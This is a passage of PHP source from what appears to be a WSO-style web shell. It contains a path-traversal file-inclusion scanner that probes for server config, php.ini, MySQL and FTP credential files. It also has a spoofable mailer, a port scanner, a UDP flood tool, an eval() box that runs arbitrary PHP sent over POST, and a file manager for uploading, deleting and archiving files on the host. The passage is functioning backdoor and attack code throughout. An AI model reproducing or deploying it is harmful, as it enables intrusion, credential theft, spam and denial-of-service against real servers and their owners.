  563. 27 =>"../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
  564. 28 =>"../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
  565. 29 =>"../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
  566. 30 =>"../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
  567. 31 =>"../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
  568. 32 =>"../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
  569. 33 =>"../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
  570. 34 =>"../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
  571. 35 =>"../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
  572. $lfiphpini = array(
  573. 1 =>"../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
  574. 2 =>"../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
  575. 3 =>"../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
  576. 4 =>"../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
  577. 5 =>"../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
  578. 6 =>"../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
  579. 7 =>"../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
  580. 8 =>"../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
  581. 9 =>"../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
  582. 10 =>"../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
  583. 11 =>"../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
  584. 12 =>"../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
  585. 13 =>"../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
  586. 14 =>"../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
  587. 15 =>"../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
  588. 16 =>"../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
  589. 17 =>"../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
  590. 18 =>"../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
  591. 19 =>"../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
  592. 20 =>"../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
  593. 21 =>"../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
  594. 22 =>"../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
  595. 23 =>"../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
  596. 24 =>"../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
  597. 25 =>"../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
  598. 26 =>"../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
  599. 27 =>"../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
  600. $lfimysql = array(
  601. 1 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
  602. 2 =>"../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
  603. 3 =>"../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
  604. 4 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
  605. 5 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
  606. 6 =>"../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
  607. 7 =>"../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
  608. 8 =>"../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
  609. 9 =>"../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
  610. 10 =>"../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
  611. $lfiftp = array(
  612. 1 =>"../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
  613. 2 =>"../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
  614. 3 =>"../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
  615. 4 =>"../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
  616. 5 =>"../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
  617. 6 =>"../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
  618. 7 =>"../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
  619. 8 =>"../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
  620. 9 =>"../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
  621. 10 =>"../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
  622. 11 =>"../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
  623. 12 =>"../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
  624. 13 =>"../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
  625. 14 =>"../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
  626. 15 =>"../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
  627. 16 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
  628. 17 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
  629. 18 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
  630. 19 =>"../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
  631. 20 =>"../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
  632. 21 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
  633. 22 =>"../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
  634. 23 =>"../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
  635. 24 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
  636. 25 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
  637. 26 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
  638. 27 =>"../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
  639. 28 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
  640. 29 =>"../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
  641. 30 =>"../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
  642. 31 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
  643. 32 =>"../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
  644. 33 =>"../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
  645. 34 =>"../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
  646. 35 =>"../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
  647. 36 =>"../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
  648. 37 =>"../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
  649. 38 =>"../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
  650. 39 =>"../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
  651. 40 =>"../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
  652. 41 =>"../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
  653. 42 =>"../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
  654. 43 =>"../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
  655. 44 =>"../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
  656. $x = 1;
  657. if ( $type == 1 ) {
  658. $res1 = FetchURL($target.$lfitest);
  659. $res2 = FetchURL($target.$lfitest2);
  660. $rhash1 = md5($res1);
  661. $rhash2 = md5($res2);
  662. if ($rhash1 != $rhash2) {
  663. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  664. while($lfiaccess[$x]) {
  665. $res3 = FetchURL($target.$lfiaccess[$x]);
  666. $rhash3 = md5($res3);
  667. if ($rhash3 != $rhash2) {
  668. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
  669. }
  670. else {
  671. print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
  672. }
  673. $x++;
  674. }
  675. }
  676. }
  677. if ( $type == 2 ) {
  678. $res1 = FetchURL($target.$lfitest);
  679. $res2 = FetchURL($target.$lfitest2);
  680. $rhash1 = md5($res1);
  681. $rhash2 = md5($res2);
  682. if ($rhash1 != $rhash2) {
  683. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  684. while($lficonfig[$x]) {
  685. $res3 = FetchURL($target.$lficonfig[$x]);
  686. $rhash3 = md5($res3);
  687. if ($rhash3 != $rhash2) {
  688. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
  689. }
  690. else {
  691. print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
  692. }
  693. $x++;
  694. }
  695. }
  696. }
  697. if ( $type == 3 ) {
  698. $res1 = FetchURL($target.$lfitest);
  699. $res2 = FetchURL($target.$lfitest2);
  700. $rhash1 = md5($res1);
  701. $rhash2 = md5($res2);
  702. if ($rhash1 != $rhash2) {
  703. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  704. while($lfierror[$x]) {
  705. $res3 = FetchURL($target.$lfierror[$x]);
  706. $rhash3 = md5($res3);
  707. if ($rhash3 != $rhash2) {
  708. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
  709. }
  710. else {
  711. print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
  712. }
  713. $x++;
  714. }
  715. }
  716. }
  717. if ( $type == 4 ) {
  718. $res1 = FetchURL($target.$lfitest);
  719. $res2 = FetchURL($target.$lfitest2);
  720. $rhash1 = md5($res1);
  721. $rhash2 = md5($res2);
  722. if ($rhash1 != $rhash2) {
  723. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  724. while($lfiphpini[$x]) {
  725. $res3 = FetchURL($target.$lfiphpini[$x]);
  726. $rhash3 = md5($res3);
  727. if ($rhash3 != $rhash2) {
  728. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
  729. }
  730. else {
  731. print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
  732. }
  733. $x++;
  734. }
  735. }
  736. }
  737. if ( $type == 5 ) {
  738. $res1 = FetchURL($target.$lfitest);
  739. $res2 = FetchURL($target.$lfitest2);
  740. $rhash1 = md5($res1);
  741. $rhash2 = md5($res2);
  742. if ($rhash1 != $rhash2) {
  743. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  744. while($lfimysql[$x]) {
  745. $res3 = FetchURL($target.$lfimysql[$x]);
  746. $rhash3 = md5($res3);
  747. if ($rhash3 != $rhash2) {
  748. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
  749. }
  750. else {
  751. print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
  752. }
  753. $x++;
  754. }
  755. }
  756. }
  757. if ( $type == 6 ) {
  758. $res1 = FetchURL($target.$lfitest);
  759. $res2 = FetchURL($target.$lfitest2);
  760. $rhash1 = md5($res1);
  761. $rhash2 = md5($res2);
  762. if ($rhash1 != $rhash2) {
  763. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  764. while($lfiftp[$x]) {
  765. $res3 = FetchURL($target.$lfiftp[$x]);
  766. $rhash3 = md5($res3);
  767. if ($rhash3 != $rhash2) {
  768. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
  769. }
  770. else {
  771. print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
  772. }
  773. $x++;
  774. }
  775. }
  776. }
  777. if ( $type == 7 ) {
  778. $res1 = FetchURL($target.$lfitest);
  779. $res2 = FetchURL($target.$lfitest2);
  780. $rhash1 = md5($res1);
  781. $rhash2 = md5($res2);
  782. if ($rhash1 != $rhash2) {
  783. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
  784. $res3 = FetchURL($target.$lfiprocenv);
  785. $rhash3 = md5($res3);
  786. if ($rhash3 != $rhash2) {
  787. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
  788. }
  789. else {
  790. print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
  791. }
  792. }
  793. }
  794. }
  795. }
  796. wsoFooter();
  797. }
  798. function actionphptools() {
  799. wsoHeader();
  800. ;echo '<center>';
  801. echo '<b>Mailer</b><br>
  802. <form action="'.$surl.'" method=POST>
  803. <input type="hidden" name="a" value="phptools">
  804. <input type=text name=to value=to><br>
  805. <input type=text name=from value=from><br>
  806. <input type=text name=subject value=subject><br>
  807. <input type=text name=body value=body><br>
  808. <input type=submit name=submit value=Submit></form>';
  809. if (isset($_POST['to']) &&isset($_POST['from']) &&isset($_POST['subject']) &&isset($_POST['body'])) {
  810. $headers = 'From: '.$_POST['from'];
  811. mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
  812. echo 'Email sent.';
  813. }
  814. echo '<br><b>Port Scanner</b><br>';
  815. $start = strip_tags($_POST['start']);
  816. $end = strip_tags($_POST['end']);
  817. $host = strip_tags($_POST['host']);
  818. if(isset($_POST['host']) &&is_numeric($_POST['end']) &&is_numeric($_POST['start'])){
  819. for($i = $start;$i<=$end;$i++){
  820. $fp = @fsockopen($host,$i,$errno,$errstr,3);
  821. if($fp){
  822. echo 'Port '.$i.' is <font color=green>open</font><br>';
  823. }
  824. flush();
  825. }
  826. }else{
  827. ;echo '<form action="?" method="POST">
  828. <input type="hidden" name="a" value="phptools">
  829. Host:<br />
  830. <input type="text" name="host" value="localhost"/><br />
  831. Port start:<br />
  832. <input type="text" name="start" value="0"/><br />
  833. Port end:<br />
  834. <input type="text" name="end" value="5000"/><br />
  835. <input type="submit" value="Scan Ports" />
  836. </form>
  837. ';
  838. }
  839. if(isset($_POST['host'])&&is_numeric($_POST['time'])){
  840. $pakits = 0;
  841. ignore_user_abort(TRUE);
  842. set_time_limit(0);
  843. $exec_time = $_POST['time'];
  844. $time = time();
  845. $max_time = $time+$exec_time;
  846. $host = $_POST['host'];
  847. for($i=0;$i<65000;$i++){
  848. $out .= 'X';
  849. }
  850. while(1){
  851. $pakits++;
  852. if(time() >$max_time){
  853. break;
  854. }
  855. $rand = rand(1,65000);
  856. $fp = fsockopen('udp://'.$host,$rand,$errno,$errstr,5);
  857. if($fp){
  858. fwrite($fp,$out);
  859. fclose($fp);
  860. }
  861. }
  862. echo "<br><b>UDP Flood</b><br>Completed with $pakits (".round(($pakits*65)/1024,2) ." MB) packets averaging ".round($pakits/$exec_time,2) ." packets per second \n";
  863. echo '<br><br>
  864. <form action="'.$surl.'" method=POST>
  865. <input type="hidden" name="a" value="phptools">
  866. Host: <input type=text name=host value=localhost>
  867. Length (seconds): <input type=text name=time value=9999>
  868. <input type=submit value=Go></form>';
  869. }else{echo '<br><b>UDP Flood</b><br>
  870. <form action=? method=POST>
  871. <input type="hidden" name="a" value="phptools">
  872. Host: <br><input type=text name=host value=localhost><br>
  873. Length (seconds): <br><input type=text name=time value=9999><br>
  874. <input type=submit value=Go></form>';
  875. }
  876. ;echo '</center>';
  877. wsoFooter();}
  878. function actionPhp() {
  879. if(isset($_POST['ajax'])) {
  880. $_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = true;
  881. ob_start();
  882. eval($_POST['p1']);
  883. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0") ."';\n";
  884. echo strlen($temp),"\n",$temp;
  885. exit;
  886. }
  887. wsoHeader();
  888. if(isset($_POST['p2']) &&($_POST['p2'] == 'info')) {
  889. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  890. ob_start();
  891. phpinfo();
  892. $tmp = ob_get_clean();
  893. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  894. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  895. echo str_replace('<h1','<h2',$tmp) .'</div><br>';
  896. }
  897. if(empty($_POST['ajax']) &&!empty($_POST['p1']))
  898. $_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = false;
  899. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  900. echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  901. if(!empty($_POST['p1'])) {
  902. ob_start();
  903. eval($_POST['p1']);
  904. echo htmlspecialchars(ob_get_clean());
  905. }
  906. echo '</pre></div>';
  907. wsoFooter();
  908. }
  909. function actionFilesMan() {
  910. wsoHeader();
  911. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  912. if(!empty($_POST['p1'])) {
  913. switch($_POST['p1']) {
  914. case 'uploadFile':
  915. if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))
  916. echo "Can't upload file!";
  917. break;
  918. case 'mkdir':
  919. if(!@mkdir($_POST['p2']))
  920. echo "Can't create new dir";
  921. break;
  922. case 'delete':
  923. function deleteDir($path) {
  924. $path = (substr($path,-1)=='/') ?$path:$path.'/';
  925. $dh = opendir($path);
  926. while ( ($item = readdir($dh) ) !== false) {
  927. $item = $path.$item;
  928. if ( (basename($item) == "..") ||(basename($item) == ".") )
  929. continue;
  930. $type = filetype($item);
  931. if ($type == "dir")
  932. deleteDir($item);
  933. else
  934. @unlink($item);
  935. }
  936. closedir($dh);
  937. @rmdir($path);
  938. }
  939. if(is_array(@$_POST['f']))
  940. foreach($_POST['f'] as $f) {
  941. if($f == '..')
  942. continue;
  943. $f = urldecode($f);
  944. if(is_dir($f))
  945. deleteDir($f);
  946. else
  947. @unlink($f);
  948. }
  949. break;
  950. case 'paste':
  951. if($_SESSION['act'] == 'copy') {
  952. function copy_paste($c,$s,$d){
  953. if(is_dir($c.$s)){
  954. mkdir($d.$s);
  955. $h = @opendir($c.$s);
  956. while (($f = @readdir($h)) !== false)
  957. if (($f != ".") and ($f != ".."))
  958. copy_paste($c.$s.'/',$f,$d.$s.'/');
  959. }elseif(is_file($c.$s))
  960. @copy($c.$s,$d.$s);
  961. }
  962. foreach($_SESSION['f'] as $f)
  963. copy_paste($_SESSION['c'],$f,$GLOBALS['cwd']);
  964. }elseif($_SESSION['act'] == 'move') {
  965. function move_paste($c,$s,$d){
  966. if(is_dir($c.$s)){
  967. mkdir($d.$s);
  968. $h = @opendir($c.$s);
  969. while (($f = @readdir($h)) !== false)
  970. if (($f != ".") and ($f != ".."))
  971. copy_paste($c.$s.'/',$f,$d.$s.'/');
  972. }elseif(@is_file($c.$s))
  973. @copy($c.$s,$d.$s);
  974. }
  975. foreach($_SESSION['f'] as $f)
  976. @rename($_SESSION['c'].$f,$GLOBALS['cwd'].$f);
  977. }elseif($_SESSION['act'] == 'zip') {
  978. if(class_exists('ZipArchive')) {
  979. $zip = new ZipArchive();
  980. if ($zip->open($_POST['p2'],1)) {
  981. chdir($_SESSION['c']);
  982. foreach($_SESSION['f'] as $f) {
  983. if($f == '..')
  984. continue;
  985. if(@is_file($_SESSION['c'].$f))
  986. $zip->addFile($_SESSION['c'].$f,$f);
  987. elseif(@is_dir($_SESSION['c'].$f)) {
  988. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  989. foreach ($iterator as $key=>$value) {
  990. $zip->addFile(realpath($key),$key);
  991. }
  992. }
  993. }
  994. chdir($GLOBALS['cwd']);
  995. $zip->close();
  996. }
  997. }
  998. }elseif($_SESSION['act'] == 'unzip') {
  999. if(class_exists('ZipArchive')) {
  1000. $zip = new ZipArchive();
  1001. foreach($_SESSION['f'] as $f) {
  1002. if($zip->open($_SESSION['c'].$f)) {
  1003. $zip->extractTo($GLOBALS['cwd']);
  1004. $zip->close();
  1005. }
  1006. }
  1007. }
  1008. }elseif($_SESSION['act'] == 'tar') {
  1009. chdir($_SESSION['c']);
  1010. $_SESSION['f'] = array_map('escapeshellarg',$_SESSION['f']);
  1011. wsoEx('tar cfzv '.escapeshellarg($_POST['p2']) .' '.implode(' ',$_SESSION['f']));
  1012. chdir($GLOBALS['cwd']);
  1013. }
  1014. unset($_SESSION['f']);
  1015. break;
  1016. default:
  1017. if(!empty($_POST['p1'])) {
  1018. $_SESSION['act'] = @$_POST['p1'];
  1019. $_SESSION['f'] = @$_POST['f'];
  1020. foreach($_SESSION['f'] as $k =>$f)
  1021. $_SESSION['f'][$k] = urldecode($f);
  1022. $_SESSION['c'] = @$_POST['c'];
  1023. }
  1024. break;
  1025. }
  1026. }
  1027. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1028. if($dirContent === false) {echo 'Can\'t open this folder!';wsoFooter();return;}
  1029. global $sort;
  1030. $sort = array('name',1);
  1031. if(!empty($_POST['p1'])) {
  1032. if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))
  1033. $sort = array($match[1],(int)$match[2]);
  1034. }
  1035. echo "<script>
  1036. function sa() {
  1037. for(i=0;i<d.files.elements.length;i++)
  1038. if(d.files.elements[i].type == 'checkbox')
  1039. d.files.elements[i].checked = d.files.elements[0].checked;
  1040. }
  1041.  
  1042. </script>
  1043. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1044. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1045. $dirs = $files = array();
  1046. $n = count($dirContent);
  1047. for($i=0;$i<$n;$i++) {
  1048. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1049. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1050. $tmp = array('name'=>$dirContent[$i],
  1051. 'path'=>$GLOBALS['cwd'].$dirContent[$i],
  1052. 'modify'=>date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])),
  1053. 'perms'=>wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]),
  1054. 'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),
  1055. 'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1056. 'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1057. );
  1058. if(@is_file($GLOBALS['cwd'] .$dirContent[$i]))
  1059. $files[] = array_merge($tmp,array('type'=>'file'));
  1060. elseif(@is_link($GLOBALS['cwd'] .$dirContent[$i]))
  1061. $dirs[] = array_merge($tmp,array('type'=>'link','link'=>readlink($tmp['path'])));
  1062. elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i])&&($dirContent[$i] != "."))
  1063. $dirs[] = array_merge($tmp,array('type'=>'dir'));
  1064. }
  1065. $GLOBALS['sort'] = $sort;
  1066. function wsoCmp($a,$b) {
  1067. if($GLOBALS['sort'][0] != 'size')
  1068. return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1069. else
  1070. return (($a['size'] <$b['size']) ?-1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1071. }
  1072. usort($files,"wsoCmp");
  1073. usort($dirs,"wsoCmp");
  1074. $files = array_merge($dirs,$files);
  1075. $l = 0;
  1076. foreach($files as $f) {
  1077. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title='.$f['link'] .'><b>[ '.htmlspecialchars($f['name']) .' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1078. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1079. $l = $l?0:1;
  1080. }
  1081. echo "<tr><td colspan=7>
  1082.  
  1083. <input type=hidden name=a value='FilesMan'>
  1084. <input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'>
  1085. <input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
  1086. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1087. if(class_exists('ZipArchive'))
  1088. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  1089. echo "<option value='tar'>Compress (tar.gz)</option>";
  1090. if(!empty($_SESSION['act']) &&@count($_SESSION['f']))
  1091. echo "<option value='paste'>Paste / Compress</option>";
  1092. echo "</select>&nbsp;";
  1093. if(!empty($_SESSION['act']) &&@count($_SESSION['f']) &&(($_SESSION['act'] == 'zip') ||($_SESSION['act'] == 'tar')))
  1094. echo "file name: <input type=text name=p2 value='wso_".date("Ymd_His") .".".($_SESSION['act'] == 'zip'?'zip':'tar.gz') ."'>&nbsp;";
  1095. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  1096. wsoFooter();
  1097. }
  1098. function actionStringTools() {
  1099. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1100. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1101. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1102. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  1103. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1104. $stringTools = array(
  1105. 'Base64 encode'=>'base64_encode',
  1106. 'Base64 decode'=>'base64_decode',
  1107. 'Url encode'=>'urlencode',
  1108. 'Url decode'=>'urldecode',
  1109. 'Full urlencode'=>'full_urlencode',
  1110. 'md5 hash'=>'md5',
  1111. 'sha1 hash'=>'sha1',
  1112. 'crypt'=>'crypt',
  1113. 'CRC32'=>'crc32',
  1114. 'ASCII to HEX'=>'ascii2hex',
  1115. 'HEX to ASCII'=>'hex2ascii',
  1116. 'HEX to DEC'=>'hexdec',
  1117. 'HEX to BIN'=>'hex2bin',
  1118. 'DEC to HEX'=>'dechex',
  1119. 'DEC to BIN'=>'decbin',
  1120. 'BIN to HEX'=>'binhex',
  1121. 'BIN to DEC'=>'bindec',
